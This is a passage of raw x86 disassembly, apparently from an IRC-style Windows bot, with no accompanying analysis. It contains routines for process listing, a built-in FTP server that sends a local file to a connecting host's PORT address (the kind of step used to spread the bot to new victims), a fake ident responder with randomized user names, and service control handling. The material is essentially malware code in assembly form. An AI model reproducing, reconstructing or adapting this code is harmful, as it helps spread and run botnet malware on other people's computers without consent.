ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44402C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444020 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444018 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_44400C lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472B7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6EDB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44768F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6EDB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6EDB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E84 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DF8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44768F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5EDAB2 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DF8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 2811D0Bh loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E84 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6ED9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472BB xor ebx, ebx cmp cl, bl mov byte_4E6ED9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F70 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5EDAB2 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6ED9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h call near ptr 2811D0Bh nop jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB68 mov dword_50BB4C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB68 mov dword_50BB4C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB68 xor eax, eax mov dword_50BB54, eax mov dword_50BB4C, 1 mov dword_50BB5C, eax mov dword_50BB60, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB6C push offset dword_50BB48 push eax mov dword_50BB4C, 4 nop call near ptr 28D077Fh retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44794F mov dword_50BB48, 20h mov dword_50BB4C, 2 mov dword_50BB50, 3 mov dword_50BB54, esi mov dword_50BB58, esi mov dword_50BB5C, esi mov dword_50BB60, esi call sub_4017E4 push eax nop call near ptr 28D038Ch cmp eax, esi mov dword_50BB6C, eax jz short loc_41FBAA push offset dword_50BB48 push eax mov dword_50BB4C, 4 mov dword_50BB5C, esi mov dword_50BB60, esi nop call near ptr 28D077Fh loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 